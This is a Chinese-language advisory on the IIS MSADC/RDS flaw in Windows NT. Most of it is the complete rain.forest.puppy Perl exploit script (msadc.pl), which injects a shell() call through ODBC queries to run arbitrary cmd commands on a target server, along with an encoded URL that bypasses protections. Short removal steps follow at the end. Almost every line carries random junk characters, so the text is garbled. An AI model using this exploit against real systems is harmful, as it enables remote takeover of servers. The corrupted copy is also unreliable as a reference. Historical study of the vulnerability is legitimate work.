IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[7SI<xkv )|59FOWg 涉及程序：
U&d-? PI Microsoft NT server
^=-*L
3f (|ct`KU0# 描述：
lyOrM7Gs 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
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详细：
n41\y:CAo 如果你没有时间读详细内容的话，就删除:
{$u@6&
B c:\Program Files\Common Files\System\Msadc\msadcs.dll
gs`27Gih 有关的安全问题就没有了。
FzsS~C$wH{ .H[Lo> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Ue>A g[D,\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
VQG /g\ 关于利用ODBC远程漏洞的描述，请参看:
q6m87O9 ^}Dv$\;6 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |+$j( YuH vt(} ga 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
p[k9C$@e} http://www.microsoft.com/security/bulletins/MS99-025faq.asp +"N<- ~ YT>:Np 这里不再论述。
(`uC"M Lk u}@% 70A 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
c-3Y SrY -V<=`e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
= vqE=:X6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
B9;,A;E}; 9cw4tqTm =Y=^]ayO/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
?[L0LL?ce Jb )eC?6O #!perl
@]VvqCk #
y! {/'{?P # MSADC/RDS 'usage' (aka exploit) script
d@q t%r3; #
ui#1 +p3G # by rain.forest.puppy
NNREt:+kr
#
g^ <q L| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k e;*uS # beta test and find errors!
d= T9mj.@ !tFU 9Zt use Socket; use Getopt::Std;
V"Y
F u^L getopts("e:vd:h:XR", \%args);
|0vHy7CE XR=c
8f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E6wST@ r v,x%^gv 0 if (!defined $args{h} && !defined $args{R}) {
nF!_q;+Vp print qq~
2YP"nj# Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZC\.};. -h <host> = host you want to scan (ip or domain)
"ppb%= -d <seconds> = delay between calls, default 1 second
o4I!VK(C#s -X = dump Index Server path table, if available
fb=$<0Ocj -v = verbose
PB3!; -e = external dictionary file for step 5
VkP:%-*#v A](}"Pi!n Or a -R will resume a command session
?D$ b%G{ 5\*wX.wp ~; exit;}
2" {] A;@ !A^w6Q;`V $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2O)Kn
q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
wGQ hr=" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%H 6ZfEO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!+26a*P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[XU{)l if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
u>i+R"hi" H|Fqc=qp if (!defined $args{R}){ $ret = &has_msadc;
u4 *]jt;H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]2s Zu7 jiB>.te print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Z?!:=x>7m . "cmd /c ";
m=y,_Pz>U $in=<STDIN>; chomp $in;
z1KC$~{O $command="cmd /c " . $in ;
u {lDof> /*p?UW<*4 if (defined $args{R}) {&load; exit;}
6Bq2?;5 Q c
=lf$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,DUQto &try_btcustmr;
A
= Az[ @.]K6qC print "\nStep 2: Trying to make our own DSN...";
9oau _ Q# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)1yUV*6 D!E 9@*Lf print "\nStep 3: Trying known DSNs...";
]B.,7 &known_dsn;
.gsu_ N_v KL\=:iWA print "\nStep 4: Trying known .mdbs...";
$=g.-F% *= &known_mdb;
rxK[CD M, d~f0]O if (defined $args{e}){
{4jSj0W print "\nStep 5: Trying dictionary of DSN names...";
{c
EK z\RX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%m\G'hY2 LVcy.kU@] print "Sorry Charley...maybe next time?\n";
ppo$&W
&z exit;
H=SMDj)s+ :x5o3 xE ##############################################################################
Pv$"DEXA 2 6g,3s?aT sub sendraw { # ripped and modded from whisker
8{=( #] sleep($delay); # it's a DoS on the server! At least on mine...
7/$Z7J!k my ($pstr)=@_;
v&/-&(+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zSvHv s die("Socket problems\n");
]( 6vG $\ if(connect(S,pack "SnA4x8",2,80,$target)){
@KRn 3 $U select(S); $|=1;
^0?cyv\>LA print $pstr; my @in=<S>;
]` Gz_e select(STDOUT); close(S);
QR"O)lP return @in;
n_ NG~ /x } else { die("Can't connect...\n"); }}
)^@V* $ D %B u n @ ##############################################################################
R\=\6( " 52R.L9Ai sub make_header { # make the HTTP request
RuEnr7gi my $msadc=<<EOT
* wZV*)} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-EIMh^ User-Agent: ACTIVEDATA
?@BaBU:o`F Host: $ip
FHPZQ C8 Content-Length: $clen
M]zNW{Xt Connection: Keep-Alive
qf&{O:,Z 8[P6c;\ ADCClientVersion:01.06
l8Iy 03H Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7 ( iRz hQLx"R$ --!ADM!ROX!YOUR!WORLD!
E0%Y%PQ**{ Content-Type: application/x-varg
jl% e O. Content-Length: $reqlen
1UWgOCc EC \: uK EOT
gK_[3FiKt ; $msadc=~s/\n/\r\n/g;
b 6M)qt9R return $msadc;}
mztq7[&- iK 0J{' ##############################################################################
>b P7}T a_M nQ@ sub make_req { # make the RDS request
pY5HW2TsY| my ($switch, $p1, $p2)=@_;
HSFf&|qqx my $req=""; my $t1, $t2, $query, $dsn;
gG> ^h1_o~ ?PtRb:RH t if ($switch==1){ # this is the btcustmr.mdb query
-^yc y Z $query="Select * from Customers where City=" . make_shell();
1ORi]` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q"_T040B $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,'DrF lI kF~e3A7C elsif ($switch==2){ # this is general make table query
:rc[j@|pH $query="create table AZZ (B int, C varchar(10))";
X 51$5% $dsn="$p1";}
d(tf: @ \ 5 c -L_ elsif ($switch==3){ # this is general exploit table query
$ =a$z" $query="select * from AZZ where C=" . make_shell();
+ W[#;)ea( $dsn="$p1";}
:u+#:8u <G =@Gl elsif ($switch==4){ # attempt to hork file info from index server
&!fcL Jd $query="select path from scope()";
nezbmpL 4 $dsn="Provider=MSIDXS;";}
vy y \^nL 6u3 (G j@ elsif ($switch==5){ # bad query
>x0lSL0y $query="select";
epyYo&x } $dsn="$p1";}
m)w- mc -\v8i.w0 $t1= make_unicode($query);
>5W"a?( $t2= make_unicode($dsn);
L 'Rapu $req = "\x02\x00\x03\x00";
1caod0gor $req.= "\x08\x00" . pack ("S1", length($t1));
[m&ZAq $req.= "\x00\x00" . $t1 ;
]a~LA7 VHO $req.= "\x08\x00" . pack ("S1", length($t2));
LZ dNG\- $req.= "\x00\x00" . $t2 ;
r}Av" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_
9]3S>Rn return $req;}
l~c> jm8. e!'u{>u ##############################################################################
(19<8a9G u6d~d\ sub make_shell { # this makes the shell() statement
4=cq 76 return "'|shell(\"$command\")|'";}
XmR5dLc8 .?]_yX ##############################################################################
K0a
50@B] Mc^7FWkw sub make_unicode { # quick little function to convert to unicode
?LM'5 my ($in)=@_; my $out;
f_Bf}2Eedj for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
DMW:%h{ return $out;}
(fb\A6 h%e!f# ##############################################################################
BBj"}~da C{^@. 8: sub rdo_success { # checks for RDO return success (this is kludge)
iP_Xr~w my (@in) = @_; my $base=content_start(@in);
^<+he X if($in[$base]=~/multipart\/mixed/){
^ Z+ D7Q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>1zzDd_ return 0;}
zt}p-U2I , KaWP ##############################################################################
EOC"a}Cq- fdW={}~ sub make_dsn { # this makes a DSN for us
ZM!~M>B9R my @drives=("c","d","e","f");
#C}(7{Vt print "\nMaking DSN: ";
7?#32B
Gr foreach $drive (@drives) {
54%}JA][ print "$drive: ";
JFdzA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[)u{ - "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:E*U*#h/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9x,+G['Zt $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
C
=U4|h ~W return 0 if $2 eq "404"; # not found/doesn't exist
KHiJO eLc if($2 eq "200") {
OO>2oH foreach $line (@results) {
pB LO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
??Ac=K\ } return 0;}
1^dWmxUZH L,L7WObA ##############################################################################
@kymL8"2w X:/t>0e sub verify_exists {
P2F>iK#U my ($page)=@_;
G$<0_0GF my @results=sendraw("GET $page HTTP/1.0\n\n");
Y.#+Yh[ return $results[0];}
*h6i9V%' 1A`";E& ##############################################################################
(0f^Hh wF iq -o $6Pg sub try_btcustmr {
G> >_G<x my @drives=("c","d","e","f");
!CKUk oX my @dirs=("winnt","winnt35","winnt351","win","windows");
g.s oN qt= \$"Xr foreach $dir (@dirs) {
CVp<SS( print "$dir -> "; # fun status so you can see progress
Hb VLL`06* foreach $drive (@drives) {
V;(LeuDH| print "$drive: "; # ditto
#C mBgxg+M $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O2f2Fb$B7 $reqlenlen=length( "$reqlen" );
U)8]pUI+/P $clen= 206 + $reqlenlen + $reqlen;
O1,[7F.4g -}o;Y)
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_#B/# ^a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
eH{ 9w8~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6Tnzg`0I 9v0|lS!- ##############################################################################
Nig-D>OS F)Lbr>H?I sub odbc_error {
V ;jz 0B my (@in)=@_; my $base;
/G ;yxdb my $base = content_start(@in);
>Z% `&D~u if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Y2n*T
KXI, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M='Kjc>e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`m^O nH $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qZe"'"3M return $in[$base+4].$in[$base+5].$in[$base+6];}
VWa(@ A print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Y{=@^4|] print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=d}3>YHS $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|e\%pfZ Lw`\J|%p ##############################################################################
{J$aA6t:"T $!Tw`O sub verbose {
@@jdF-Utj; my ($in)=@_;
`Fj(g!` return if !$verbose;
1S.~-K*X print STDOUT "\n$in\n";}
':3KZ4/ C FQ%mNowuj ##############################################################################
lDeWs %n !=:c8V sub save {
Sqs`E[G* my ($p1, $p2, $p3, $p4)=@_;
x#D=?/~/Kv open(OUT, ">rds.save") || print "Problem saving parameters...\n";
-w B AFr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o*_ D close OUT;}
5mU_S\)4:z hh9{md\ ##############################################################################
# eYVZ=E oWmla*nCKL sub load {
j7&l&)5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{Y Ymt!Ic open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@V)WJ { @p=<IN>; close(IN);
q]x@ q $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
uc_
X;M; $target= inet_aton($ip) || die("inet_aton problems");
MXb(Z9)]kw print "Resuming to $ip ...";
|k+^D : $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pC6_
jIZ if($p[1]==1) {
JN_#
[S$
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o9i\[Ul $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
GSp1,E2J my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
e 3K if (rdo_success(@results)){print "Success!\n";}
g5)VV" else { print "failed\n"; verbose(odbc_error(@results));}}
i weP3u## elsif ($p[1]==3){
7
<xxOY>y if(run_query("$p[3]")){
|Bp?"8%*l print "Success!\n";} else { print "failed\n"; }}
/!h W6u5 elsif ($p[1]==4){
rzu^br9X if(run_query($drvst . "$p[3]")){
;QYK {3R? print "Success!\n"; } else { print "failed\n"; }}
q)*0G* exit;}
ArY'NE\Htt '' 6 ##############################################################################
4rm/ +Zes F~1R.r_Lu sub create_table {
scdT/ |(U$ my ($in)=@_;
*D,T}N $reqlen=length( make_req(2,$in,"") ) - 28;
DI_mF#5q $reqlenlen=length( "$reqlen" );
amRtF r c| $clen= 206 + $reqlenlen + $reqlen;
H|E ms}b my @results=sendraw(make_header() . make_req(2,$in,""));
a| .u; return 1 if rdo_success(@results);
)-(NL!?` my $temp= odbc_error(@results); verbose($temp);
o0 Ae*Y0 return 1 if $temp=~/Table 'AZZ' already exists/;
< -Nj return 0;}
l _:%?4MA )7^jq | ##############################################################################
&kG<LGXP# -Q;
w4@ sub known_dsn {
{-xn Bx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
zF P Sk ] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$IHa]9 { "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{#vo^& B "banner", "banners", "ads", "ADCDemo", "ADCTest");
SZ_hG D 0 <\5{R@A*6 foreach $dSn (@dsns) {
b{&@ Lm0Tn print ".";
?Rdi"{.wI next if (!is_access("DSN=$dSn"));
o! 8X< o if(create_table("DSN=$dSn")){
=["GnL*!0 print "$dSn successful\n";
[Mi ~4b if(run_query("DSN=$dSn")){
yC[}gHv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&~i1 @\] print "Something's borked. Use verbose next time\n";}}} print "\n";}
*4I D$BmO gisZmu0 ##############################################################################
M-NR!? 9 jAu/]
HZx sub is_access {
*$QUE 0 my ($in)=@_;
0PN{
+<? . $reqlen=length( make_req(5,$in,"") ) - 28;
6[cMPp x $reqlenlen=length( "$reqlen" );
PF.HYtZqK $clen= 206 + $reqlenlen + $reqlen;
"ggq7cJ}_ my @results=sendraw(make_header() . make_req(5,$in,""));
V|7 c dX#H my $temp= odbc_error(@results);
yxH[uJpb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(f)QEho7 return 0;}
F Ekx&9] s[hD9$VB> ##############################################################################
W/ERqVZR] 8:f ( PN sub run_query {
v[m>;Ubg& my ($in)=@_;
4h|vd.t $reqlen=length( make_req(3,$in,"") ) - 28;
C<3An_D y $reqlenlen=length( "$reqlen" );
'
{Q L`L $clen= 206 + $reqlenlen + $reqlen;
?g 3sv5\u my @results=sendraw(make_header() . make_req(3,$in,""));
CO ap* return 1 if rdo_success(@results);
' G&w[8mqY my $temp= odbc_error(@results); verbose($temp);
Q]8r72uSk return 0;}
OA_
%%A;o 8W{ R&Z7aL ##############################################################################
&:rf80`z. (j(6%U sub known_mdb {
R7#B_^ $ my @drives=("c","d","e","f","g");
J&Ah52 my @dirs=("winnt","winnt35","winnt351","win","windows");
n}"MF>zDK my $dir, $drive, $mdb;
^Kn}{m/3Y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+:b| I'S r_QWt1K # this is sparse, because I don't know of many
o!Y7y1$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
|.YL 2\ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+7=3[K "\\system32\\certmdb.mdb",
B9 ]KC i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i 9d.Ls S;Vj5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gD-<^Q- "\\cfusion\\cfapps\\forums\\forums_.mdb",
nk[ixVc "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ra/S 46$ "\\cfusion\\cfapps\\security\\realm_.mdb",
T a_#Rg*! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=7a9~&| "\\cfusion\\database\\cfexamples.mdb",
sPut@4[S "\\cfusion\\database\\cfsnippets.mdb",
z;T?2~g! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Gd!y,n&s "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HM`;%0T0( "\\cfusion\\brighttiger\\database\\cleam.mdb",
2gA6$ s7 "\\cfusion\\database\\smpolicy.mdb",
I'JFt>] "\\cfusion\\database\cypress.mdb",
`U (FdT "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kxh
$R> "\\website\\cgi-win\\dbsample.mdb",
KcHW>IBxdv "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
yovC~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2TdcZ<k}J ); #these are just
cf96z|^C foreach $drive (@drives) {
J=
T! foreach $dir (@dirs){
kEi!q foreach $mdb (@sysmdbs) {
2QdqVwm print ".";
{<V{ 0
s% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U<zO R=_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
PA Jt M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rAgb<D@,H print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6]M(ElV1H } else { print "Something's borked. Use verbose next time\n"; }}}}}
X4gs{kx}| +5voAx! foreach $drive (@drives) {
h D CR>G foreach $mdb (@mdbs) {
|Gz(q4 print ".";
~OXPn9qPp if(create_table($drv . $drive . $dir . $mdb)){
"~X AD(T6 print "\n" . $drive . $dir . $mdb . " successful\n";
alyWp if(run_query($drv . $drive . $dir . $mdb)){
o l-U%J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+ps(9O/B> } else { print "Something's borked. Use verbose next time\n"; }}}}
Y-v6xUc{F }
[&51 m^ 0`:0m/fsU ##############################################################################
NbH;@ R)L !IcP O sub hork_idx {
af)L+%Q%R print "\nAttempting to dump Index Server tables...\n";
.^eajb`: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{;q
zz9 | $reqlen=length( make_req(4,"","") ) - 28;
"d% o% $reqlenlen=length( "$reqlen" );
x tyOG $clen= 206 + $reqlenlen + $reqlen;
m;'ebkq my @results=sendraw2(make_header() . make_req(4,"",""));
13kl\ < 6 if (rdo_success(@results)){
b-,4< H8m my $max=@results; my $c; my %d;
f<<1.4)oSV for($c=19; $c<$max; $c++){
(cx
Q<5 $results[$c]=~s/\x00//g;
tw, uV)xm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
FG/1!8F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ka0Mu Q M $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uWkW T.>$ $d{"$1$2"}="";}
XU_ gvz foreach $c (keys %d){ print "$c\n"; }
f["c,,[ } else {print "Index server doesn't seem to be installed.\n"; }}
^? }-x 1N, </<" ##############################################################################
qx|~H'UuBN \(C6|-:GY sub dsn_dict {
UyEN zK<%u open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~ 6Da M! while(<IN>){
&sJ -&7YZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
x. 8fxogz next if (!is_access("DSN=$dSn"));
e w?4; if(create_table("DSN=$dSn")){
"Doz~R \\ print "$dSn successful\n";
1R-WJph if(run_query("DSN=$dSn")){
7_HFQT1.N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^VOFkUp) print "Something's borked. Use verbose next time\n";}}}
evjj~xkte print "\n"; close(IN);}
sFt"2TVr3 l|v`B6( ##############################################################################
S"H djEF7\ I'}&s| 6 sub sendraw2 { # ripped and modded from whisker
JV ydTvc sleep($delay); # it's a DoS on the server! At least on mine...
Q`kV|
pjg my ($pstr)=@_;
IK1'" S| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nvbzC tC die("Socket problems\n");
jl9hFubwW if(connect(S,pack "SnA4x8",2,80,$target)){
TXdo,DPv7 print "Connected. Getting data";
{.eo?dQ open(OUT,">raw.out"); my @in;
*O_>3Hgl select(S); $|=1; print $pstr;
>jz9o9?8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*+(r Q";x close(OUT); select(STDOUT); close(S); return @in;
|yS % } else { die("Can't connect...\n"); }}
V_zU?}lZ^ Wz%H?m:g# ##############################################################################
galzk $D G>=Fdt7Oc sub content_start { # this will take in the server headers
9A~w2z\G my (@in)=@_; my $c;
Fs"i fn0 for ($c=1;$c<500;$c++) {
uP G\1 if($in[$c] =~/^\x0d\x0a/){
ml@;ngmp. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
#l R-?Uh else { return $c+1; }}}
$Q"D>Qf{G return -1;} # it should never get here actually
'Fy"|M;2 (\ge7sE-oo ##############################################################################
t0,=U8]w AXF
1{ sub funky {
/% g+|C my (@in)=@_; my $error=odbc_error(@in);
bmu] zJ if($error=~/ADO could not find the specified provider/){
_o[fjd print "\nServer returned an ADO miscofiguration message\nAborting.\n";
pT{is.RM exit;}
:{+~i.* if($error=~/A Handler is required/){
rGQ2 ve print "\nServer has custom handler filters (they most likely are patched)\n";
Bv<aB(c exit;}
[Do^EJ if($error=~/specified Handler has denied Access/){
.' }jd# print "\nServer has custom handler filters (they most likely are patched)\n";
O uNPD q% exit;}}
?r 0rY? `WIZY33V ##############################################################################
, # =TputM s_ t / sub has_msadc {
@R%* ; )*F my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
? X6M8` my $base=content_start(@results);
r0!')?#Z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
f0vO(@I return 0;}
# 9gx4U 793 15A ########################
>TMd1? , )$RV) d?&`Z Vl 解决方案：
.W^B(y(tA 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/78]u^SW 2、移除web 目录: /msadc
